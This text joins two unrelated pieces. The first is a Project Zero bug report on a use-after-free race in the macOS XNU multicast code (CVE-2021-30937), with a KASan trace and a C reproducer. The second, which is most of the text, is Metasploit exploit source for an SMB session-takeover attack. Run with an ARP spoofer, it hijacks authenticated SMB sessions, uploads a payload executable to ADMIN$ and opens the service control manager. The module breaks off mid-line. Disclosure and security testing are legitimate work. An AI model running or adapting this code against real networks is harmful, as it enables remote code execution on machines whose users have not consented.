<pre><code>XNU: heap-use-after-free in inm_merge<br /><br />VULNERABILITY DETAILS<br />bsd/netinet/in_mcast.c:<br />```<br />int<br />inp_join_group(struct inpcb *inp, struct sockopt *sopt)<br />{<br />[...]<br /> if (is_new) {<br /> if (imo->imo_num_memberships == imo->imo_max_memberships) {<br /> error = imo_grow(imo, 0); // *** 1 ***<br /> if (error) {<br /> goto out_imo_locked;<br /> }<br /> }<br /> /*<br /> * Allocate the new slot upfront so we can deal with<br /> * grafting the new source filter in same code path<br /> * as for join-source on existing membership.<br /> */<br /> idx = imo->imo_num_memberships; // *** 2 ***<br /> imo->imo_membership[idx] = NULL;<br /> imo->imo_num_memberships++;<br /> VERIFY(imo->imo_mfilters != NULL);<br /> imf = &imo->imo_mfilters[idx]; // *** 3 ***<br /> VERIFY(RB_EMPTY(&imf->imf_sources));<br /> }<br />[...]<br /> if (is_new) {<br /> /*<br /> * Unlock socket as we may end up calling ifnet_ioctl() to join (or leave)<br /> * the multicast group and we run the risk of a lock ordering issue<br /> * if the ifnet thread calls into the socket layer to acquire the pcb list<br /> * lock while the input thread delivers multicast packets<br /> */<br /> IMO_ADDREF_LOCKED(imo);<br /> IMO_UNLOCK(imo);<br /> socket_unlock(inp->inp_socket, 0); // *** 4 ***<br /><br /> VERIFY(inm == NULL);<br /> error = in_joingroup(ifp, &gsa->sin_addr, imf, &inm); // *** 5 ***<br /><br /> socket_lock(inp->inp_socket, 0);<br /> IMO_REMREF(imo);<br /> IMO_LOCK(imo);<br /><br /> VERIFY(inm != NULL || error != 0);<br /> if (error) {<br /> goto out_imo_free;<br /> }<br /> imo->imo_membership[idx] = inm; /* from in_joingroup() */ // *** 6 ***<br /> }<br />[...]<br /> if (error) {<br /> imf_rollback(imf);<br /> if (is_new) {<br /> imf_purge(imf);<br /> } else {<br /> imf_reap(imf);<br /> }<br /> } else {<br /> imf_commit(imf); // *** 7 ***<br /> }<br />[...]<br /><br />int<br />inp_leave_group(struct inpcb *inp, struct sockopt *sopt)<br />{<br />[...]<br /> IMO_LOCK(imo);<br /> idx = imo_match_group(imo, ifp, gsa); // *** 8 ***<br /> if (idx == (size_t)-1) {<br /> error = EADDRNOTAVAIL;<br /> goto out_locked;<br /> }<br /> inm = imo->imo_membership[idx];<br /> imf = &imo->imo_mfilters[idx];<br />[...]<br /> if (is_final) {<br /> /* Remove the gap in the membership array. */<br /> VERIFY(inm == imo->imo_membership[idx]);<br /> imo->imo_membership[idx] = NULL;<br /><br /> /*<br /> * See inp_join_group() for why we need to unlock<br /> */<br /> IMO_ADDREF_LOCKED(imo);<br /> IMO_UNLOCK(imo); // *** 9 ***<br /> socket_unlock(inp->inp_socket, 0);<br /><br /> INM_REMREF(inm);<br /><br /> socket_lock(inp->inp_socket, 0);<br /> IMO_REMREF(imo);<br /> IMO_LOCK(imo);<br /><br /> for (++idx; idx < imo->imo_num_memberships; ++idx) { // *** 10 ***<br /> imo->imo_membership[idx - 1] = imo->imo_membership[idx];<br /> imo->imo_mfilters[idx - 1] = imo->imo_mfilters[idx];<br /> }<br /> imo->imo_num_memberships--;<br /> }<br />```<br /><br />When `inp_join_group` needs to create a new membership entry, it briefly releases the socket and `ip_moptions` locks[4]. The locking pattern makes the following issues possible:<br /><br />1. Before releasing the locks, the function assigns an address inside the `imo_mfilters` buffer to the local variable `imf`[3]. When the locks get dropped[4], a concurrent call to `inp_join_group` may trigger reallocation of `imo_membership` and `imo_mfilters`[1], leaving the `imf` pointer invalid. Then, the dangling pointer is accessed in `in_joingroup`[5] and, after reacquiring the locks, in `imf_commit`[7]. The latter writes to the referenced object, so it should be possible to exploit the bug to corrupt the heap.<br /><br />KASan reports as follows:<br /><br />```<br />KASan: invalid 8-byte load from 0xffffff801c07b6e0 [HEAP_FREED]<br /> Shadow 0 1 2 3 4 5 6 7 8 9 a b c d e f<br /> fffff7f00380f680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f6a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f6b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f6c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f6d0: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd <br /> fffff7f00380f6e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f6f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f700: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f710: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /> fffff7f00380f720: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd <br /><br /> * thread #2, stop reason = breakpoint 1.1<br /> * frame #0: 0xffffff800e2f32f0 kernel.kasan`panic<br /> frame #1: 0xffffff800e303229 kernel.kasan`kasan_report_internal.cold.1 + 25<br /> frame #2: 0xffffff800e2e847d kernel.kasan`kasan_report_internal + 845<br /> frame #3: 0xffffff800e2e5fc3 kernel.kasan`kasan_crash_report + 51<br /> frame #4: 0xffffff800e2e60e5 kernel.kasan`__asan_report_load8 + 21<br /> frame #5: 0xffffff800d7ebaa4 kernel.kasan`inm_merge + 6836<br /> frame #6: 0xffffff800d7ecbc0 kernel.kasan`in_joingroup + 3200<br /> frame #7: 0xffffff800d7f07c3 kernel.kasan`inp_join_group + 6291<br /> frame #8: 0xffffff800d7f4050 kernel.kasan`inp_setmoptions + 672<br /> frame #9: 0xffffff800d85c6ea kernel.kasan`ip_ctloutput + 922<br /> frame #10: 0xffffff800d904617 kernel.kasan`udp_ctloutput + 599<br /> frame #11: 0xffffff800dd0a6cf kernel.kasan`sosetoptlock + 1567<br /> frame #12: 0xffffff800dd38653 kernel.kasan`setsockopt + 787<br /> frame #13: 0xffffff800df8dcd0 kernel.kasan`unix_syscall64 + 2192<br /> frame #14: 0xffffff800d016a36 kernel.kasan`hndl_unix_scall64 + 22<br />```<br /><br />2. Similarly, the value stored in `idx`[2] may get invalidated by a concurrent call to the `inp_leave_group` function, which removes gaps from `imo_membership` by shifting elements[10]. Therefore, `inp_join_group` may overwrite another element's membership entry[6]. The same issue can be triggered by making two `inp_leave_group` calls race because `inp_leave_group` also saves the requested entry's index[8] before unlocking[9]. However, I was unable to turn this bug into anything more serious than a null pointer dereference, so it's likely a non-security issue.<br /><br />Note that the IPV6 implementation in `in6_mcast.c` is also affected.<br /><br /><br />VERSION<br />macOS 11.5.2 (20G95)<br /><br /><br />REPRODUCTION CASE<br />We need to fill up `imo_mfilters` so that one of the racing threads calls `imo_grow`.<br /><br />```<br />#include <arpa/inet.h><br />#include <pthread.h><br />#include <unistd.h><br /><br />volatile int lock_a;<br />volatile int lock_b;<br /><br />int fd;<br />struct sockaddr_in saddr;<br /><br />struct ip_mreq filler_group;<br />struct ip_mreq group_a;<br />struct ip_mreq group_b;<br /><br />void* thread_func(void* arg) {<br /> lock_a = 1;<br /> while (lock_b == 0) {}<br /><br /> setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &group_a, sizeof(group_a));<br /><br /> return NULL;<br />}<br /><br />int main() {<br /> int status;<br /> pthread_t th;<br /><br /> saddr.sin_family = AF_INET;<br /><br /> group_a.imr_multiaddr.s_addr = inet_addr(\"224.0.0.1\");<br /> group_b.imr_multiaddr.s_addr = inet_addr(\"224.0.0.2\");<br /><br /> for (int i = 0; i < 100000; ++i) {<br /> fd = socket(AF_INET, SOCK_DGRAM, 0);<br /><br /> status = bind(fd, (struct sockaddr *) &saddr, sizeof(saddr));<br /><br /> for (int j = 0; j < IP_MIN_MEMBERSHIPS - 1; ++j) {<br /> filler_group.imr_multiaddr.s_addr = htonl(ntohl(inet_addr(\"224.0.0.3\")) + j);<br /> status = setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &filler_group, sizeof(filler_group));<br /> }<br /><br /> pthread_create(&th, NULL, thread_func, NULL);<br /><br /> while (lock_a == 0) {}<br /> lock_b = 1;<br /><br /> status = setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &group_b, sizeof(group_b));<br /><br /> pthread_join(th, NULL);<br /><br /> close(fd);<br /> }<br />}<br />```<br /><br /><br />CREDIT INFORMATION<br />Sergei Glazunov of Google Project Zero<br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this<br />issue is made available to users before the end of the 90-day deadline,<br />this bug report will become public 30 days after the fix was made<br />available. Otherwise, this bug report will become public at the deadline.<br />The scheduled deadline is 2021-12-06.<br /><br /><br />Related CVE Numbers: CVE-2021-30937.<br /><br /><br /><br />Found by: glazunov@google.com<br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ManualRanking<br /><br /> include Msf::Exploit::Remote::Capture<br /> include Msf::Exploit::EXE<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Microsoft Windows SMB Direct Session Takeover',<br /> 'Description' => %q{<br /> This module will intercept direct SMB authentication requests to<br /> another host, gaining access to an authenticated SMB session if<br /> successful. If the connecting user is an administrator and network<br /> logins are allowed to the target machine, this module will execute an<br /> arbitrary payload. To exploit this, the target system must try to<br /> autheticate to another host on the local area network.<br /><br /> SMB Direct Session takeover is a combination of previous attacks.<br /><br /> This module is dependent on an external ARP spoofer. The builtin ARP<br /> spoofer was not providing sufficient host discovery. Bettercap v1.6.2<br /> was used during the development of this module.<br /><br /> The original SMB relay attack was first reported by Sir Dystic on March<br /> 31st, 2001 at @lanta.con in Atlanta, Georgia.<br /> },<br /> 'Author' => [<br /> 'usiegl00'<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Privileged' => true,<br /> 'Payload' => {},<br /> 'References' => [<br /> ['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']<br /> ],<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Platform' => 'win',<br /> 'Targets' => [<br /> ['Automatic', {}]<br /> ],<br /> 'DisclosureDate' => '2021-02-16',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [ SERVICE_RESOURCE_LOSS ],<br /> 'Reliability' => [ UNRELIABLE_SESSION ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),<br /> OptString.new('INTERFACE', [true, 'The name of the interface']),<br /> OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),<br /> OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true])<br /> # For future cross LAN work:<br /> # OptString.new('GATEWAY', [ true, "The network gateway ip address" ])<br /> ]<br /> )<br /><br /> deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',<br /> 'TIMEOUT')<br /> end<br /><br /> def exploit<br /> if datastore['DefangedMode'].to_s == 'true'<br /> warning = <<~EOF<br /><br /> Are you SURE you want to modify your port forwarding tables?<br /> You MAY contaminate your current network configuration.<br /><br /> Disable the DefangedMode option if you wish to proceed.<br /> EOF<br /> fail_with(Failure::BadConfig, warning)<br /> end<br /> print_good('INFO : Warming up...')<br /> print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0<br /> @sessions = {}<br /> @mutex = Mutex.new<br /> @cleanup_mutex = Mutex.new<br /> @cleanedup = false<br /> @main_threads = []<br /> @interface = datastore['INTERFACE'] # || Pcap.lookupdev<br /> unless Socket.getifaddrs.map(&:name).include? @interface<br /> fail_with(Failure::BadConfig,<br /> "Interface not found: #{@interface}")<br /> end<br /> @ip4 = ipv4_addresses[@interface]&.first<br /> fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3<br /> @mac = get_mac(@interface)<br /> fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)<br /> # For future cross LAN work: (Gateway is required.)<br /> # @gateip4 = datastore['GATEWAY']<br /> # fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3<br /> # @gatemac = arp(tpa: @gateip4)<br /> # fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String<br /> @share = datastore['SHARE']<br /> print_status("Self: #{@ip4} | #{@mac}")<br /> # print_status("Gateway: #{@gateip4} | #{@gatemac}")<br /> disable_p445_fwrd<br /> start_syn_capture<br /> start_ack_capture<br /> print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')<br /> print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')<br /> main_capture<br /> ensure<br /> cleanup<br /> end<br /><br /> # This prevents the TCP SYN on port 445 from passing through the filter.<br /> # This allows us to have the time to modify the packets before forwarding them.<br /> def disable_p445_fwrd<br /> if datastore['DisableFwd'] == 'false'<br /> print_status('DisableFwd was set to false.')<br /> print_status('Packet forwarding on port 445 will not be disabled.')<br /> return true<br /> end<br /> if RUBY_PLATFORM.include?('darwin')<br /> pfctl = Rex::FileUtils.find_full_path('pfctl')<br /> unless pfctl<br /> fail_with(Failure::NotFound, 'The pfctl executable could not be found.')<br /> end<br /> IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|<br /> pf.write("block out on #{@interface} proto tcp from any to any port 445\n")<br /> pf.close_write<br /> end<br /> IO.popen("#{pfctl} -e", err: '/dev/null').close<br /> elsif RUBY_PLATFORM.include?('linux')<br /> iptables = Rex::FileUtils.find_full_path('iptables')<br /> unless iptables<br /> fail_with(Failure::NotFound, 'The iptables executable could not be found.')<br /> end<br /> IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close<br /> else<br /> print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")<br /> print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')<br /> fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')<br /> end<br /> print_good('INFO : Packet forwarding on port 445 disabled.')<br /> return true<br /> end<br /><br /> # This reverts the changes made in disable_p445_fwrd<br /> def reset_p445_fwrd<br /> if datastore['DisableFwd'] == 'false'<br /> print_status('DisableFwd was set to false.')<br /> print_status('Packet forwarding on port 445 will not be reset.')<br /> return true<br /> end<br /> if RUBY_PLATFORM.include?('darwin')<br /> pfctl = Rex::FileUtils.find_full_path('pfctl')<br /> unless pfctl<br /> fail_with(Failure::NotFound, 'The pfctl executable could not be found.')<br /> end<br /> IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close<br /> elsif RUBY_PLATFORM.include?('linux')<br /> iptables = Rex::FileUtils.find_full_path('iptables')<br /> unless iptables<br /> fail_with(Failure::NotFound, 'The iptables executable could not be found.')<br /> end<br /> IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close<br /> end<br /> print_good('INFO : Packet forwarding on port 445 reset.')<br /> return true<br /> end<br /><br /> # This starts the SYN capture thread as part of step two.<br /> def start_syn_capture<br /> @syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do<br /> c = PacketFu::Capture.new(iface: @interface, promisc: true)<br /> c.capture<br /> c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")<br /> c.stream.each_data do |data|<br /> packet = PacketFu::Packet.parse(data)<br /> exists = @mutex.synchronize do<br /> @sessions[packet.tcp_header.tcp_src] # Prevent erasing existing sessions.<br /> end<br /> next if exists<br /><br /> dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst)))<br /> # Time for the arp address to be spoofed again.<br /> sleep(1.5)<br /> @mutex.synchronize do<br /> @sessions[packet.tcp_header.tcp_src] = {}<br /> @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack<br /> @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq<br /> @sessions[packet.tcp_header.tcp_src][:active] = true<br /> @sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac<br /> packet.eth_header.eth_src = str2mac(@mac)<br /> packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])<br /> packet.to_w(@interface)<br /> end<br /> end<br /> end<br /> end<br /><br /> # This starts the ACK capture thread as part of step two.<br /> def start_ack_capture<br /> @ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do<br /> c = PacketFu::Capture.new(iface: @interface, promisc: true)<br /> c.capture<br /> c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")<br /> c.stream.each_data do |data|<br /> packet = PacketFu::Packet.parse(data)<br /> @mutex.synchronize do<br /> next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]<br /><br /> @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]<br /> @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]<br /> packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]<br /> packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]<br /> packet.eth_header.eth_src = str2mac(@mac)<br /> packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])<br /> packet.to_w(@interface)<br /> end<br /> end<br /> end<br /> end<br /><br /> # This sends an arp packet out to the network and captures the response.<br /> # This allows us to resolve mac addresses in real time.<br /> # We need the mac address of the server and client.<br /> def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',<br /> sha: @mac, spa: @ip4,<br /> tha: '00:00:00:00:00:00', tpa: '', op: 1,<br /> capture: true)<br /> p = PacketFu::ARPPacket.new(<br /> eth_src: str2mac(smac),<br /> eth_dst: str2mac(dmac),<br /> arp_src_mac: str2mac(sha),<br /> arp_src_ip: str2ip(spa),<br /> arp_dst_mac: str2mac(tha),<br /> arp_dst_ip: str2ip(tpa),<br /> arp_opcode: op<br /> )<br /> if capture<br /> c = PacketFu::Capture.new(iface: @interface)<br /> c.capture<br /> c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")<br /> p.to_w(@interface)<br /> sleep 0.1<br /> c.save<br /> c.array.each do |pkt|<br /> pkt = PacketFu::Packet.parse pkt<br /> # This decodes the arp packet and returns the query response.<br /> if pkt.arp_header.arp_src_ip == str2ip(tpa)<br /> return mac2str(pkt.arp_header.arp_src_mac)<br /> end<br /> return ip2str(pkt.arp_header.arp_src_ip) if mac2str(pkt.arp_header.src_mac) == tha<br /> end<br /> else<br /> p.to_w(@interface)<br /> end<br /> end<br /><br /> # This returns a hash of local interfaces and their ip addresses.<br /> def ipv4_addresses<br /> results = {}<br /> Socket.getifaddrs.each do |iface|<br /> if iface.addr.ipv4?<br /> results[iface.name] = [] unless results[iface.name]<br /> results[iface.name] << iface.addr.ip_address<br /> end<br /> end<br /> results<br /> end<br /><br /> # This is the main capture thread that handles all SMB packets routed through this module.<br /> def main_capture<br /> # This makes sense in the context of the paper.<br /> # Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack<br /> mc = PacketFu::Capture.new(iface: @interface, promisc: true)<br /> mc.capture<br /> mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")<br /> mc.stream.each_data do |data|<br /> packet = PacketFu::Packet.parse(data)<br /> nss = packet.payload[0..3]<br /> smb2 = packet.payload[4..-1]<br /> # Only Parse Packets from known sessions<br /> @mutex.synchronize do<br /> if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB")<br /> case smb2[11..12]<br /> when "\x00\x00" # Negotiate Protocol Request<br /> smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)<br /> # Dialect Count Set To 1<br /> smb_packet.dialect_count = 1<br /> smb_packet.dialects = [smb_packet.dialects.first]<br /> smb_packet.negotiate_context_list = []<br /> smb_packet.client_start_time = 0<br /> # Re-Calculate Length: (Optional...)<br /> # nss = [smb_packet.to_binary_s.size].pack("N")<br /> packet.payload = "#{nss}#{smb_packet.to_binary_s}"<br /> when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH<br /> smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)<br /> if smb_packet.smb2_header.session_id != 0<br /> # Disable Session<br /> @sessions[packet.tcp_header.tcp_src][:active] = false<br /> @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]<br /> @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]<br /> # Start Main Thread<br /> @main_threads << Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k, _|<br /> k == packet.tcp_header.tcp_src<br /> end }", false) do<br /> main_thread(packet)<br /> end<br /> end<br /> end<br /> end<br /> next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]<br /><br /> @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]<br /> @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]<br /> packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]<br /> packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]<br /> packet.eth_header.eth_src = str2mac(@mac)<br /> packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])<br /> packet.recalc<br /> packet.to_w(@interface)<br /> end<br /> end<br /> end<br /><br /> # This handles a session that has already authenticated to the server.<br /> # This allows us to offload the session from the main capture thead.<br /> def main_thread(packet)<br /> tree_id = 0 # Setup Vars<br /> process_id = 0<br /> eth_src = str2mac(@mac)<br /> eth_dst = @mutex.synchronize { str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) }<br /> packet.tcp_header.tcp_ack = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:acknum] }<br /> packet.tcp_header.tcp_seq = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:seqnum] }<br /> packet.eth_header.eth_src = eth_src<br /> packet.eth_header.eth_dst = eth_dst<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1])<br /><br /> print_status('Connecting to the defined share...')<br /> request = RubySMB::SMB2::Packet::TreeConnectRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"<br /> eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst: eth_dst)<br /> ip_header = PacketFu::IPHeader.new(ip_src: int2ip(response.ip_header.ip_dst), ip_dst: int2ip(response.ip_header.ip_src))<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])<br /> if response_smb2.smb2_header.nt_status != 0<br /> print_error("Unexpected tree connect response #{e.status_code.value.inspect} (#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first || 'unknown'})")<br /> return false<br /> end<br /><br /> print_status('Regenerating the payload...')<br /> code = regenerate_payload<br /> tree_id = response_smb2.smb2_header.tree_id<br /> process_id = response_smb2.smb2_header.process_id<br /><br /> print_status('Uploading payload...')<br /> filename = rand_text_alpha(8) + '.exe'<br /> servicename = rand_text_alpha(8)<br /> request = RubySMB::SMB2::Packet::CreateRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_attributes.directory = 0<br /> request.file_attributes.normal = 1<br /> request.create_options.directory_file = 0<br /> request.create_options.non_directory_file = 1<br /> request.share_access.read_access = 1<br /> request.share_access.write_access = 1<br /> request.desired_access.read_data = 1<br /> request.desired_access.write_data = 1<br /> request.desired_access.write_ea = 1<br /> request.desired_access.read_attr = 1<br /> request.desired_access.write_attr = 1<br /> request.requested_oplock = 255<br /> request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE<br /> request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE<br /> request.name = filename.to_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])<br /> file_id = response_smb2.file_id<br /> opts = { servicename: servicename, code: code.encoded }<br /> opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64)<br /> exe = generate_payload_exe_service(opts)<br /> exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index|<br /> request = RubySMB::SMB2::Packet::WriteRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.write_offset = 1000 * exe_fragment_index<br /> request.buffer = exe_fragment.pack('C*')<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])<br /> end<br /><br /> print_status("Created \\#{filename}...")<br /> request = RubySMB::SMB2::Packet::CloseRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1])<br /> request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])<br /><br /> print_status('Connecting to the Service Control Manager...')<br /> request = RubySMB::SMB2::Packet::TreeConnectRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$"<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])<br /> tree_id = response_smb2.smb2_header.tree_id<br /> request = RubySMB::SMB2::Packet::CreateRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_attributes.directory = 0<br /> request.file_attributes.normal = 1<br /> request.create_options.directory_file = 0<br /> request.create_options.non_directory_file = 1<br /> request.share_access.read_access = 1<br /> request.desired_access.read_data = 1<br /> request.share_access.write_access = 1<br /> request.desired_access.write_data = 1<br /> request.requested_oplock = 255<br /> request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE<br /> request.create_disposition = RubySMB::Dispositions::FILE_OPEN<br /> request.name = 'svcctl'<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])<br /> file_id = response_smb2.file_id<br /> bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl)<br /> request = RubySMB::SMB2::Packet::WriteRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.write_offset = 0<br /> request.buffer = bind_req.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = 